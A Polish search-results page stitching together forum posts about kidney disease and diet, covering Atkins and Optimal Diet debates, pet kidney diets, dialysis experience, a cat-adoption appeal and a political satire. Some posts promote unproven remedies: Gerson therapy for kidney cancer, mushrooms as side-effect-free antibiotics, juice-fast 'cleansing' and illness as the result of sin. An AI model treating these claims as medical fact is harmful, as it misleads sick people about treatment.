Wyniki wyszukiwania dla hasła: chore nerki dieta

Ja znałem kola co miał typ 1 a leczył się na typ 2 - nie jadł 2 dni jak szedł do
lekarza... najpierw coś z ręką mu się stało - kawałek dłoni amputowali, potem
zmarł na nerki miał 52 lata [^]
A tak na marginesie to wiem do 3 tygodni że jestem chory na 1 :(:(:( igły się
tępią, często wycieka insulina w postaci 1-2 kropel po około 2 jed. z igł i z
wkucia czasem wszystko :(:(:( Byłem w szpialu i leżał człowiek ze mną który 1,5
roku brał insuline a teraz tabletki (ale dietę trzymał aż miło ) Może i ja wyjdę
z tego ( może nie koniecznie nogami do przodu :):):):) )

Pozdrawiam wszystkich [ ale Tym z 2 to zazdroszczę - też bym chciał brać tabletki ]

Ps. Ponieważ niedawno wiem o cukrzycu swojej, a w moim przypadku popęd był
znikomy więc myślałem że albo się starzeje albo jestem gejem[ co te media robią
z człowieka ] :(:(:( a to TYLKO CUKRZYCA !!!!!!!!!!!!!!!!!!!!!


Duzo bialka zawiera soja i przetwory z niej, takze fasolka, bob, soczewica itd.
Ale dieta rzeczywiscie dziwna... wiem, ze np. chorym na nerki, zaleca sie malo
bialka, ale nie ma az takiego znaczenia czy zwierzecego czy roslinnego, w
przypadku jakies alergii mozna by, ale wtedy dlaczego tez sol i alkohol. A moze
lekarz sie przejezyczyl i chodzilo mu o tluszcz zwierzecy?

NERY BOLAŁY...
witam

może jest w tym coś prawdy...
w każdym razie ja zaczęłam stosować atkinsa i nie byłam chora na nerki ALE
wytrzymałam tylko 3 dni ponieważ już w pierwszym dniu wieczorem zaczęły mi
drętwieć ręce i rozbolała mnie okolica prawej nerki... potraktowałam to jako
objaw przestawiania się organizmu na inne "materiały". niestety w trzecim dniu
diety nerka bolała coraz bardziej i stwierdziłam że dietka chyba nie jest dla
mnie. nie stosuję jej już dwa dni i niestety nerka dalej daje o sobie znać...
szykuje się więc wizyta u lekarza i dokładne badania które powinnam zrobić
przed rozpoczęciem diety...
powinnam ale nie zrobiłam i taki tego skutek

KAŻDEMU KTO CHCE STOSOWAĆ TEN SPOSÓB ODŻYWIANIA ZALECAM NAJPIERW BADANIE MOCZU
CZY Z NERKAMI WSZYSTKO OK...

zresztą atkins w swojej książce wręcz zabraniał stosowania tej diety osobom
chorym na nerki jak już jogger wspomniał a jednym z głównych zaleceń atkinsa
było wykonanie badań przed rozpoczęciem diety.

więc chociaż ketoza u mnie była na poziomie ++++ i aż nie mogłam sie doczekać
efektów odchudzających musiałam przestać :((( a i jeszcze jedno
w trzecim dniu dostawałam odruchu wymiotnego na myśl że na obiad znowu
mięcho :)))

ALE DIETKA SAMA W SOBIE JEST OK

pozdrawiam i życzę szczęścia wszystkim atkinsowcom

Antenka

Gość portalu: maxWroc napisał(a):

> oki dzieki:)
> mam jeszcze kilka pytan:
> 1-czytalem ze przed i po treningu nalezy dostarczyc od 25-50 w/w-czy po
> treningu moge np wypic carbo?
Tak, żeby wstrzymać katabolizm mięśni

> 2-czy ten okes 14 dni kiedy spozywa sie do 30g w/w aktywnych dziennie i nie
> dostarcza sie w/w bezposrednio przed i po treningu jest konieczny?
2tyg to czas, w którym na poziomie komórkowym enzymy spalające glukozę są
wypierane przez enzymy spalające kwasy tłuszczowe.

> 3-jaka powinna byc dzienna porcja spozytych bialek-2.2g na 1 kg masy ciala?
Tak

> 4- jak dlugo mozna byc na tej diecie?
Nie ma ograniczeń poza zdrowotnymi, np. jeśli się ma chore nerki, to lepiej nie
zaczynać.

> 5-czy polaczenie tej diety z suplementacja HMB to dobry pomysł?
Polecam :-) jeśli trening kończy się aerobami, warto wziąć HMB zamiast carbo
żeby wykorzystać powysiłkowe spalanie tłuszczu.


Panie Kociak!
Choroba na którą pan choruje nie ma nic wspólnego z niedoskonałością projektu.
Na ziemi istnieje miliony ludzi nie mających żadnych problemów z nerkami i
kamieniami nerkowymi.Błąd tkwi w złej diecie.Może pan na ten temat poczytać w
internecie.
Choroby nie są skutkiem złego projektu,tylko wynikiem grzechu.Gdy Jezus chciał
uzdrowić pewnego człowieka sparaliżowanego powiedział "Odpuszczone są ci
grzechy".
Dlaczego powiązał grzechy z chorobą? Ponieważ to właśnie wskutek grzechu
chorujemy,starzejemy się i umieramy.Ale czy tak zawsze będzie?
Nie.
W księdze Izajasza 33;24 znajdujemy zapewnienie;
"I żaden mieszkaniec nie powie;"Jestem chory",lud mieszkający w tej krainie
dostąpi odpuszczenia winy'.
I tutaj także powiązano winy wobec Boga z chorobami.Ale czy całkowite
wyleczenie jest możliwe?
Jeśli czytamy Biblię ,coraz bardziej się przekonujemy o prawdziwości tych słów.
Jezus został przedstawiony jako ten ,kto "dzięki swej wiedzy ten prawy sługa
mój udostępni wielu ludziom stan prawości ,ich przewinienia sam
poniesie".Izajasza 53;11
Nastanie nawet taka możliwość by ludzie nie umierali.Czytamy o tym w Objawieniu
21:3,4
"I otrze z ich oczu wszelką łzę i śmierci już nie będzie ani krzyku ani bólu
już nie będzie .To co poprzednie przeminęło".
Jest to obietnica samego Boga ,który kazał napisać:"Słowa te są pewne i
prawdziwe".
Życzę panu zdrowia.Niech pan zdobędzie wiedzę na temat swojej choroby i niech
ta wiedza panu pomoże wyzdrowieć.Ja również miło pana wspominam.

proszę o pomoc bo nie daje rady
Cześć wszystkim.Mam kochaną kotkę,tylko chyba bardzo chorą,dwa lata temu
została wysterylizowana i wszystko było ok,aż tu nagle zaczeła chodzić do
wanny i tam zostawiać plamki krwi.Zbadałam jej mocz ale w moczu nie było krwi
tylko trochę krwinek białych i nieliczne bakterie,weterynarz zalecił podanie
antybiotyków,,uro-pet,,to jest żel na zakwaszenie moczu i dietę dla kotów
chorych na nerki niestety mój kotek dalej krwawi więc zrobiliśmy jej usg
nerek i nic to nie dało nic tam nie ma,nie mam pojęcia co się dzieje nawet
dostawała coś na depresję,ale dalej nic,poza tym ma ciągle rozszeżone żrenice
i chyba wszystkiego już się boi,teraz p[odaję jej rowatinex na piasek, prosze
o pomoc ,bardzo proszę ona ma dopiero 3 latka (

dziewczyny,a ja Was czytam od początu i tysiące razy już zaczynałam od
poniedziałku i....wiecie, nie wytrwałam. Dietę znam, ponieważją stosowałm piec
lat temu. MOja znajoma była wtedy 6 tyg. w Gołubiu Dobrzyniu i wyleczyła sie z
reumatyzmu i chorych nerek. To mnie wtedy zmobilizowało bardzo.
A teraz, cos nie mogę znależć silnej woli,ale dzisiaj cały dzien na warzywkach
jestem,no i znów Was czytam i postanawiam sobie,ze dotrwam,bo...lato idzie,trza
będzie to i tamto odsłonić....
No więc ja dzisiaj jestem 1/40...................
wspierajmy się!!!!pozdrawiam,nata

babs-10 pomieszanie z poplataniem.

po 1 gosciec to nie dna moczanowa ( podagra)
po 2 o dnie tez cos niby wiesz ale nie do konca. podwyzszony poziom
kawsu moczowego owszem ale nei zawsze i nie przedewszystkim
spowodowane niewydolnoscia nerek. glowna przyczyna niejest picie
malej ilosci herbaty ale dieta bogata w mieso i alkohol , kawa ma tu
swoj udzial ale nie najwazniejszy . jesli kros chory na podagre naja
sie kotletow wieprzowych i popije wodeczka to atak prawdopodobnie
wystapi niezaleznie ile plynow niegazowanych wypije.
pozdrawiam i zycze gruntowniejszego przygotowania sie zanim zacznie
sie kogos pouczac

Juz 10 dni jestesmy z tata ( chory na raka nerki) na terapii
Gersona. Nie mamy zadnych podowow aby byc naganiaczami tej metody,
gdyz jedyne czego chcemy, to skontaktowac sie z osobami, ktore
rowniez probuja tej metody. Dla nas nie wychodzi to drogo ( poza
jedyna inwestycja-wyciskarka) poniewaz mieszkamy poza miastem i mamy
wlasne uprawy ekologiczne. Czy jest pracochlonne? Poza pewna
dyscyplina jest to najprzyjemniejsza dieta ktora stosowalismy do tej
pory. Budwig byla duzo ciezsza!
Mam nadzieje, ze znajdzie sie w Polsce przynajmniej kilka osob,
ktore w tej chwili lecza sie lub oczyszczaja ta metoda. Pozdrawiam i
czekam Agi

hypoplazja to chyba ubytek
chcialam Ci tylko powiedziec, co ojciec Klimuszko mowil o grzybach:
"Grzyby mieszcza w sobie ogrom sil dobroczynnych. Sa one rowniez naturalnymi
antybiotykami, dzialajacymi bez skutkow ubocznych oraz - ze tak powiem -
"naprawiaczami" systemu nerwowego, zwlaszcza nerwow wzrokowych.
..Przez 25 lat zalecalem delikatna kuracje grzybami tym chorym, ktorych
organizmy byly do ostatecznosci wycienczone roznymi schorzeniami, osiagajac
prawie zawsze dobre wyniki.
..Poleca sie zatem spozywanie grzybow o kazdej porze roku, czesciej niz to
czynimy, i to pod kazda postacia.
..Pod wzgledem wartosci ... ida grzyby w nastepujacej kolejnosci: borowik,
rydz, maslak, pieczarka, smardz, kania, opienka.."
Od siebie dodam, ze napewno nie chodzi o pierczarki hodowlane, "chemiczne".
Zbliza sie sezon na jagody - pamietaj!
Wystrzegaj sie glutaminianu sodu wszechobecnego w gotowych potrawach i
przyprawach, bardzo szkodzi oczom, wzrokowi. To samo z cukrem - zakwasza,
obniza odpornosc, zaburza procesy regulacyjne i pogarsza sie m.in. zaopatrzenie
tkanek w tlen.
Trzeba takze dieta i ziolami wspomagac funkcjonowanie nerek i watroby - od nich
w duzej mierze zalezy stan oka i zmiany degeneracyjne (z med.chinskiej)

Powiem tak, moj Gucio, zanim przestawilam jego diete na surowa, tez potrafil
rzucac sie na fasolke, kiedys zjadl tez kawalek mielonki sojowej (ale tak
bardziej na probe).

Brumbak, mysle, ze sie na mnie nie gniewasz, bo przeciez nie masz za co.

Wspomne przy tym, ze moj pies ze wzgledu na swoje chore nerki - je warzywa
znacznie wiecej niz miesa (mieso + kosci - to tylko 1/4 jego 100 gramowego
dziennego posilku, Gutek wazy niecale 3 kilo). Do tego bardzo lubi olej lniany,
ale surowa kosc to naprawde wpiernicza jak szalony.
Zauwazylam tez, ze znacznie bardziej smakuja mu surowe warzywa (rozdrobione) niz
gotowane (kiedys dawalam mu gotowane - i raz zjadal, raz nie - czesciej nie...).
Teraz surowe je z takim zapalem, ze az mu sie uszy trzesa. Polecam - sprobujcie
dawac psiakom surowe warzywa.

pozdrawiam serdecznie, Asia

Myślę , że robicie wszystko co jest potrzebne , co diety na razie dopóki
analizy krwi się nie poprawią ograniczyłbym ilość białka w diecie procesy jego
metabolizmu obciążają i tak już chorą wątrobę. Więc posiłki niech nie składają
się w 90 procentach z białka proporcje należałoby odwrócić lub zastosować
specjalną dietę leczniczą dla psów z chora wątrobą ( tym bardziej że wcześniej
pies jadał gotowe diety jest więc do nich przyzwyczajony).
Co do zawałów – nie napisałem że ich nie przechodzą – zjawisko zawału
występuje u psów i to nie tylko w sercu ale także w nerkach , śledzionie
wątrobie i innych bogato unaczynionych narządach – tak jak i u ludzi. Nie
powodują one ( zawały serca) natomiast tak dramatycznych objawów jak u ludzi.
Pozdrawiam

cioccolato_bianco napisała:

> Uwaga! Przeciwwskazaniem do stosowania diety warzywno-owocowej są:cukrzyca na
> insulinie (I typ), czynna gruźlica, nadczynność tarczycy, niedoczynność
> nadnerczy, ostra porfiria, depresja, zaawansowana niewydolność serca, nerek,
> wątroby, choroby wyniszczające (nowotwory), ciąża, okres karmienia piersią,
> dzieci przed okresem dojrzewania, osoby z przeszczepionymi narządami
> przyjmujące cyklosporynę.

A tak ogólnie.. to zdrowa dieta ;-) ;-) ;-)

> Osoby z nadwagą czy cukrzycą powinny ograniczyć ilość spożywanej marchwi
> (soku!) i buraków.

Ciekawe dlaczego ?

> • Osoby z chorobą wrzodową żołądka, które nie tolerują surowych warzyw
> ,
> zaczynają kurację od ok. 3 dni wyłącznie sokowych (3 szklanki dziennie surowego
>
> soku z marchwi, dopijać wywarem z jarzyn, nie jeść pokarmów stałych, po średnio
>
> 3 – 4 dniach wystąpi biegunka, która jest oznaką złuszczania się chorej
> śluzówki jelit,

Noooo.. absolutna rewelacja !! co za bzdury !! :-((

Monaluiza

Dieta przy chorych nerkach.
Czy przy poziomie kreatyniny rzędu 2,0 - 2,5
wymagana jest jakaś specjalna dieta?
To podobno początki niewydolności nerek,a sprawa dotyczy mojego ojca.
Czy należy ograniczyć białko?
Czy należy dużo pić wody mineralnej,a może piwo?
Proszę o radę.

ciała ketonowe (aceton i kwas acetooctowy)
Związki te mogą być obecne w moczu osób niedożywionych, pozostających na diecie
bogatotłuszczowej, w stanach gorączkowych, przy ciężkiej niewydolności nerek.
Najczęściej jednak ciał ketonowych poszukuje się u osób chorych na cukrzycę,
gdyż ich obecność świadczy pośrednio o tym, że choroba ta jest nieprawdłowo
leczona. Wykonywanie co najmniej raz w miesiącu badania ogólnego moczu na
obecność ketonów i cukru czy też prostszego domowego testu paskowego Ketostix
jest obowiązkiem każdego chorego na cukrzycę.

Możliwe przyczyny

Ketonuria
- cukrzyca (kwasica ketonowa),
- nadmierny katabolizm: gorączka, głodzenie, długotrwały wysiłek fizyczny,
- biegunki, wymioty,
- dieta wysokotłuszczowa i ubogowęglowadanowa.

Czy rzeczywiscie jest powod do zmartwienia?? ja mysle, ze niekoniecznie....

Kasiu, umysl, emocje, psychika sa scisle powiazane z kondycja fizyczna
organizmu. W tym przypadku lek sygnalizuje jakas slabosc kregu nerkowego.
Twoj maz nie musi byc chory, to moze byc na poziomie energetycznym, ale jest to
sygnal ostrzegawczy, ze za jakis czas - nawet kilka lat - moze sie pojawic
proces chorobowy fizycznie dotykajacy nerek.
Trzeba podejsc dwutorowo do tego: z jednej strony wzmacniac krag nerek (dieta,
oczyszczanie, ziola, masaz), z drugiej uspokajac umysl (psychoterapie,
aktywnosc fizyczna, cwiczenia ralaksujace).
Znane sa takie przypadki.

Smacznego smalcu!
kiosk.onet.pl/art.html?NA=7&ITEM=1157921&KAT=240
"Uzdrawiające mają być diety. Tłusta, wymyślona przez Jana Kwaśniewskiego, propagowana jest jako zbawienie dla cukrzyków, i to tych z najpoważniejszymi powikłaniami, zagrażającymi życiu. Chorzy odstawiają insulinę i żyją skwarkami. Niektórzy publicznie głoszą, że ich zniszczone nerki zaczęły pracować. Cud? Jak to możliwe? Prof. Ida Konalska z białostockiej AM tłumaczy, że chory na krótko może się lepiej poczuć, gdyż zjada mniej węglowodanów. Poza tym jest zdyscyplinowany i niesie go nadzieja. Niestety, mniej się mówi o tych, którzy później zapadają w śpiączkę."

> ( czy jesli np dieta - wymyslona np w tej chwili składjaća się wyłaćznie z
> jajek i mleka - nie została przebadana to nalezy w ogóle się nią zajmowac_
> oczywiście nie- z góry widaomo że byłaby to dieta szkodliwa dla zdrowia)

Nie wiem tego. Jednak jesli taka dieta przeczy istniejacej wiedzy, to bede
potrzebowal naprawde dobrych dowodow, zeby uznac ja za przynajmniej nieszkodliwa.

> - dlaczego ograniczasz zagadnienie do insuliny???

Nie ograniczam, ale akurat o insulinie Kwasniewski bredzi wrecz straszliwie,
zdradzajac co krok, ze nie ma pojecia o czym mowi. Od czegos trzeba zaczac
burzenie tej wiezy nonsensu.

Zwracam Ci uwage, ze dieta optymalna wcale nie zawiera az tak duzo bialka. Jesli
przyjmiemy B:T:W=1:3.5:0.8 (wagowo), to zakladajac izokalorycznosc tej diety
wychodzi tylko ok 60 g bialka na dobe. To nie tak duzo dla zdrowych nerek, a
sami optymalni przyznaja, ze ich dieta nie nadaje sie dla chorych na nerki.

Gość portalu: Doki napisał(a):
> przyjmiemy B:T:W=1:3.5:0.8 (wagowo), to zakladajac izokalorycznosc tej diety
> wychodzi tylko ok 60 g bialka na dobe. To nie tak duzo dla zdrowych nerek,

a czy potrafisz policzyć ile białka jest w diecie na której medycyna prowadzi
ludzi chorych na nerki ???

a
> sami optymalni przyznaja, ze ich dieta nie nadaje sie dla chorych na nerki.

jak zwykle mylisz diety , dyużo białka jest na diecie Atkinsa , natomiast Dieta
Optymalna jest zalecana u chorych na nerki

Slawek

> a czy potrafisz policzyć ile białka jest w diecie na której medycyna prowadzi
> ludzi chorych na nerki ???

Tego nie trzeba liczyc. Obecne wytyczne mowia o 0.6 g/kg/d bialka u chorych z
przewlekla niewydolnoscia nerek, ktorzy nie sa dializowani.
Teraz jest problem jak zapewnic podaz aminokwasow egzogennych przy niskiej
podazy bialka. Jajka ratuja sytuacje, ale podroby juz mniej...

> jak zwykle mylisz diety , dyużo białka jest na diecie Atkinsa , natomiast
> Dieta Optymalna jest zalecana u chorych na nerki

Nie myle, przeciez sam napisalem, ze jest roznica, czytaj uwazniej. Na portalu
optymalnych sam sobie znajdz zastrzezenia Kwasniewskiego co do stosowania diety
optymalnej i ze ona niezbyt nadaje sie dla chorych na nerki.

Ciala ketonowe

"Związki te mogą być obecne w moczu osób niedożywionych, pozostających na
diecie bogatotłuszczowej, w stanach gorączkowych, przy ciężkiej niewydolności
nerek. Najczęściej jednak ciał ketonowych poszukuje się u osób chorych na
cukrzycę, gdyż ich obecność świadczy pośrednio o tym, że choroba ta jest
nieprawdłowo leczona."

Tyle znalazlam. Co do nablonkow, trudno o sterylne warunki w pobraniu probki
moczu.

Czytałam że przy dużej i szybkiej utracie masy ciała rośnie poziom mocznika -
nie "odchudziłeś" się ostatnio zbyt intensywnie?
Nadmierne spożywanie pokarmów bogatych w puryny, np. mięsa,a zwłaszcza
podrobów, sprzyja podwyższeniu stężenia kwasu moczowego.
Moze to być niepożądane działanie jakichś leków które przyjmujesz, nadczynność
przytarczyc i tarczycy i wiele innych, ale to lekarz musi poszukać przyczyny.

Dietę napewno powinieneś zmienić - niski poziom dobrego HDL, wysokie
trójglicerydy. Tylko że - są choroby nerek (np.zespół nerczycowy na który
chorowało moje dziecko) w których akurat mięso jest wskazane ze względu na
białkomocz.
Twój lekarz napewno znajdzie przyczynę i zaproponuje nie tylko leczenie ale i
dietę. Gdzieś na tym forum podawano naturalne sposoby oczyszczania organizmu z
kwasu moczowego (np. sokami owocowymi), ja też znam kilka ale Ty masz chore
nerki więc bez konsultacji z lekarzem chyba nie powinieneś tego robić.

Pozdrawiam serdecznie

Tak droga Ulu -trochę nazbierałem tych chorób aż sam się dziwię i co
najważniejsze żadnych dolegliwości nie odczuwam ani ze strony nerek ani
ciśnienia .Ale z tego co czytam to może to być wytwór moich chorych nerek (choć
lekarz tego nie mówił )A co do wagi to mam w normie ,ćwiczyć tez ćwiczę i jakoś
nie mogę poprawić tych parametrów cholesterolu .Wiem że te leki które przyjmuję
nie są obojętne dla mojej wątroby .
Często robię badania kontrolne i jakoś do tej pory choć nie były całkiem
wzorcowe ale nie zabardzo odbiegały od nirmy były lekko ponad norme .
Ale ten stan utrzymuje sie od kilkunastu lat.Tylko ten ostatni wynik bardzo
mnie zmartwił.Co mam wyeliminowac z diety i co zastosowac zeby ten mocznik
spadł. Proszę o jakies wskazówki i rady . Pozdrawiam .smutny

Dodam do zbioru jeszcze to. Opisane tu jest jak D"O" "leczy" cukrzykow.
Opisane przez ludzi ktorzy pracuja w szpitalach i widza NA WLASNE OCZY ile
prawdy jest w optyksiegach:

kiosk.onet.pl/art.html?NA=7&ITEM=1157921&KAT=240

Uzdrawiające mają być diety. Tłusta, wymyślona przez Jana Kwaśniewskiego, propagowana jest jako zbawienie dla cukrzyków, i to tych z najpoważniejszymi powikłaniami, zagrażającymi życiu. Chorzy odstawiają insulinę i żyją skwarkami. Niektórzy publicznie głoszą, że ich zniszczone nerki zaczęły pracować. Cud? Jak to możliwe? Prof. Ida Konalska z białostockiej AM tłumaczy, że chory na krótko może się lepiej poczuć, gdyż zjada mniej węglowodanów. Poza tym jest zdyscyplinowany i niesie go nadzieja. Niestety, mniej się mówi o tych, którzy później zapadają w śpiączkę.

Cuda kuszą, by nimi oszukiwać i na nich zarabiać.[...]

KRAKÓW- KOT Z BIAŁACZKĄ SZUKA DOMU
Witam!
Poszukujemu domu dla Wiesia - Wiesio jest czarnym, cudownym kotem, który czeka
na swój prawdziwy domu. Kilka miesięcy temu trafił do nas w tragicznym stanie,
wychudzony, słaby, miejscami wyłysiały, dziki i przerażony... Badania
nieubłaganie wykazały białaczkę, chore nerki - pracuje tylko ich 20%. Kot może
trafić tylko do domu gdzie nie ma innych kotów lub jest inny kot także chory
na białaczkę. Wiesio potrzebuje świadomych i pełnych poświęcenia opiekunów
(wymaga diety, 2 razy w tygodniu otrzymuje kroplówkę u weterynarza, zażywa
lekarstwa). Jego stan przez ostatnie miesiące bardzo sie poprawił, kocio
oswoił się garnie się do głaskania i głośno domaga pieszczot. Futerko pięknie
odrasta, wyniki badań poprawiają się, niestety nerki są w złym stanie...
Niewiemy jak dużo czasu mu pozostało ale nie chcemy by resztę swojego kociego
życia spędzi samotnie w piwnicy gdzie przebywa od kilku miesięcy (domowa
piwnica gdzie ma swoje własne pomieszczenie, cipeło i światło) niestety osoby
opiekujące się Wiesiem, czyli My :) mają sporo kotów i nie ma szans na
przeniesienie Wiesia do kogoś z tymczasowych opiekunów.
Gdyby kogoś zainteresował los Wiesia proszę o kotakt pod adresem
wasylysa@tlen.pl.
pozdrawiam
apti

No tak,Kamusia jest na diecie.Moja znajoma ma cocerka chorego na nerki,wada
wrodzona i tez jest na scislej diecie bo inaczej jest ciezko chory.
DAWALAM KARME LIGHT I OWSZEM.Ale teraz daje normalna,ale mniej.Tzn. Toffy i
Drops dostaja dwa razy dziennie ciut mniej-oni/?/ one nie maja sklonnosci do
tycia.Drops mial/gdy bral prednison/,ale teraznie tyje.Tasi daje trzy razy
dziennie i mniejsze porcje i wogole mniej.Pozdrawiam Ciebie i Kamusie i Sunday
Olgi.....
ml

Co do chorych nerek, to nie bedę się spierać, ale głównym powodem powstawania
kamieni moczowych jest zbyt słabe zakwaszenie moczu. Stosujac odpowiednią dietę
i pokarm zakwaszający - można tej choroby uniknąć. A jeśli chodzi o pojenie
kota, to na pewno nie można o tym zapominać. Zwierzak - obojętnie czym
karmiony - MUSI mieć stały dostęp do wody, najlepiej niskozmineralizowanej.
Mleko nie jest napojem, ale - ze względu na sposób jego trawienia przez kota -
raczej pokarmem. I z mlekiem trzeba uważać, może kotu szkodzić.

Ja od 1- go lipca zaczęłam stosować dietę prozdrowotną oraz zaczęłam
pić koktail błonnikowy jak i też piję ziola na oczyszczenie dróg
moczowych.Czuję się juz lepiej, bo ostatnio mi doskwierały
zatoki.Myslę że to nie sa chore zatoki a jedynie organizm sie
oczyszcza ta drogą , ponieważ nerki zbyt leniwie pracują.

Bo zycie w ogole jest niesprawiedliwe..
abstrahujac od slusznosci Twojego wkurzenia: co ludzie chorzy na cukrzyce moga
za to, ze musza placic za swoje leczenie i specjalna diete.. tak samo ludzie
chorzy na np. padaczke, niewydolnosc nerek czy celiakie.. A ludzie z bialaczka,
ktorzy musza sami sfinansowac sobie np. przeszczep szpiku? To tez niekoniecznie
ich wina, ze sa chorzy.. Posiadanie dzieci nie jest obowiazkowe, a za to na
pewno jest kosztowne, wiec tych pare zlotych za badania w ciazy, w konfrontacji
z kosztami wyprawki czy pieluch, to kropla w morzu... Aha...nalezy sie... czyli
znow komunizm chichocze zza grobu...

info: serwisy.gazeta.pl/zdrowie/1,51214,949909.html
Ciała ketonowe: Obecność ich może wskazywać na źle kontrolowaną cukrzycę, dietę
niskowęglanową, głodzenie (w tym anoreksja i bulimia), alkoholizm. Ciała
ketonowe pojawiają się w moczu u osób nie jedzących przez 18h lub dłużej. Może
pojawić się również u osób chorych z nudnościami i wymiotami przez dłuższy
czas. Niski poziom ciał ketonowych występuje czasami u zdrowych kobiet w ciąży.

a to inne info www.przychodnia.pl/porady/faq.php3?
d=13&sub=11&id_faq=1005
Ciała ketonowe w ciąży – jaka przyczyna?
Jestem w 8 tygodniu ciąży. Po zrobieniu badań moczu w wyniku wyszły ciała
ketonowe (++), glukoza 83 mgdL. Proszę o podanie przyczyny pojawienia się
ciałek ketonowych. Czy to początek cukrzycy ciążowej? Chciałam zaznaczyć, że od
dnia kiedy dowiedziałam się, że jestem w ciąży zaczęłam jeść więcej owoców.
Badania były robione na czczo.
Najprawdopodobniej spożywa Pani za mało pokarmów. Pojawienie się ciał
ketonowych w moczu i jednocześnie prawidłowe stężenie glukozy we krwi mogą
świadczyć o głodzeniu, a może o jakiejś dotychczas nie rozpoznanej chorobie
nerek. Jednak wyniki te nie wskazują na cukrzycę.

imraa_jsw napisała:

> Ciesze sie, ze udalo Ci sie znalezc dawce; moja kolezanka nie miala > tyle
szczescia, rowniez z powodu rzadkiej grupy krwi, musiala wiec
> odejsc...

Miałem szczęście. A grupę krwi też mam rzadką (ma ją tylko 2% Polaków) - B Rh-.

> Czy mozesz mi powiedziec, jaka diete stosowales/nadal stosujesz, by
> zanadto nie obciazac nerek?

Teraz żadnej diety nie stosuję. W czasie dializ zaś dieta jest dość specyficzna
i jej celem nie jest odciążenie nerek, które i tak już nie działają, tylko
ograniczenie pierwiastków, które trudno się za pomocą dializ usuwają z krwi.
Chodzi przede wszystkim o fosfor, ale ważna jest też nie za duża zawartość
wapnia i potasu w pożywieniu.

Nie ma specjalnej diety odciążającej nerki. Nerki pracują tak samo niezależnie
od diety. Można co najwyżej ograniczać te pierwiastki, które są wydalane przez
nerki (właśnie fosfor i potas) i które, przy źle funkcjonujących nerkach, mogą
się kumulować w organizmie. Zbyt wysoki (i zbyt niski) potas natychmiast zaburza
pracę serca, co może się tragicznie skończyć. Zbyt wysoki fosfor ma działanie
odsunięte w czasie.

Tak jest przy wielotorbielowatości, na którą chory praktycznie nie ma większego
wpływu. Być może w Twoim przypadku dieta (szczególnie, jeśli zaliczysz do niej
lekarstwa, które bierzesz ;) ) ma wpływ na stan nerek.

S.

mnie "wysoka" cena diety wcale nie motywuje, uważam, że za 16,50 złoty dziennie
trochę trudno się wyżywić przynajniej mnie. Poza tym oszczędza się czas, nie
trzeba się zastanwaić, co by tu ugotowac, nie trzeba poświęcać czasu na zakupy.
Nie wchodzę do sklepu, nie kupuję "przekąsek".
Taka dieta to oszczędnosc czasu no i dzięki niej mogę zmienić nawyki.

Myślę, że w przypadku tej diety jak i kazdej innej najważniejsze jest
nastawienie psychiczne. Im mniejszym wyrzeczeniem jest dietowanie tym łatwiej
dietę znosic. Im dieta będzie dla nas większa katorgą tym szybciej z niej mozna
zrezygnowac, szukając rozmaitych powodów, argumentów za tym, że ona nie dla
nas.

Jestem na ścisłej 19 dzień, nie doczuwam głodu i staram się nie myslec o
jedzeniu.
Przeciez gdy czlowiek nie jest na diecie, to to co jedza ludzie w kolo nie
przykuwa az tak bardzo naszej uwagi, zatem obsesja na tle jedzenia podczas
bycia na diecie jest czyms dla przecietnego czlowieka anormalnym

pomyślecie sobie o ludziach, ktorzy przez cale zycie musza byc na diecie,
chorych na cukrzyce, na nerki. Jakos zyja i sobie radza, wiec i
mu "dietowiczki" tez damy rade.

co zas tyczy sie oslabienia, to ja trzeciego dnia diety, myslalam ze umre,
opisalam sytuacje w jakims poscie "kryzys 3 dnia", ale przetrzymalam, nie
poddalam sie i dalej jest juz w porzadku, organizm sie przyzwyczail

Witam Cie bardzo serdecznie.Przez te kilka lat miałam TSH w normie dopiero po
diecie Cambridge zrobiłam badania i okazało się ze mam ponad 170 po trzech
tygodniach brania dawki 175 letroxu zmniejszyła sie do 14 i lekarz powiedział
ze wróci wszystko do normy(było to pod koniec listopada 2005).Tydzien temu
poszłam do innego lekarza na kasę chorych i powiedziałam mu jak wygląda
sprawa,że nie mam miesiączki to zlecił wykonanie ft4 i było wszystko w
porządku.W przyszłym tygodniu idę zrobic sobie TSH bo jutro mi się nie uda.Na
początku grudnia byłam u ginekologa zbadał mnie i stwierdził ze wszystko jest w
porządku,ze przy hashi wystepują problemy z miesiączką ale nie zlecił mi
rzadnych badan.Obzęki nie są widoczne gołym okiem ale wieczorkiem ja sama je
zauwazam zwłaszcza w okolicach kostek.Badan nerek nie miałam
nigdy.Pozdrawaim.papa

Droga Elpasz

jeśli potrzebujesz namiary na lekarza TCM, to mogę pomóc ale poza forum
publicznym - na osobisty e-mail.

Co do wieprzowiny to nie należy jej przypisywać tak cudownych właściwości.
Stosować owszem można, ale nie polecam dla osób z Wiatrem Wątroby i obecnością
Wilgoci lub co gorsza Śluzu i Gorąca. Wiatr Wątroby jest skojarzony z Gorącem w
tym narządzie. Polecam cielęcinę, olej oliwkowy, kraby, selera (zarówno korzeń,
jak i natkę) w połączeniu z pietruszką, sałatę (nalepiej lodową), cykorię,
świeży sok z kapusty, sok pomidorowy i poziomki.

Wszystko zależy jednak od stanu chorego po udarze - sama dieta to tylko środek
wspomagający - kluczowe znaczenie mają zioła i akupunktura oraz rozwiązanie
problemów życiowych/osobistych, o których myślenie podsycało Wątrobę oraz
osłabiało Płuca i Nerki.

Pozdrawiam,

Mirosław Mazur
miroslaw.mazur@chinmed.com
"Zwierciadło Medycyny"

Pan profesor Religa wie jako lekarz, żeby pacjent przeżył, należy mu amputować
kończynę bo wdała się gangrena. Należy to uczynić. Zaznaczam, że będzie to twór
zbliżony do zdrowego człowieka, zacznijmy od mózgu - Prezydent, trzeba
obowiązkowo wyciąć mu zepsuty mózg(leczyć elektrowstrząsami) zaatakowany
chorobą BSE i "czerwonką" i postawić głowę pod Trybunał Stanu. Po drugie
usunąć chirurgicznie chore organy: SLD(Swoim Ludziom Dać), SdPl(Swoim dać
Później ludziom), UP(Upartyjnić Polskę) - zdelegalizować- i zrobić przeszczep
serca z płucami, przeszczepić zdrowe serce a nie sztuczne, jelito grube też
wyciąć. Płuca czyli PO(Potem Oddzielnie) leczyć silnym antybiotykiem. Wątrobie -
PiS-(Później i Sobie) dać lekko strawną dietę i kontrolować. Wyciąć część
żołądka z wrzodami - Samoobrona(Samemu Okradać) i trzymać na ostrej diecie na
wodzie. Zapalenie pęcherza moczowego - LPR(Lubisz Pan Romana)-sprawdzić nerki,
ewentualnie wymienić-więcej kopać po jądrach, uważać na mosznę, żeby nie było
przepukliny i osłonić prącie Romana, żeby napletek nie był brudny - zalecić
częste mycie napletka.
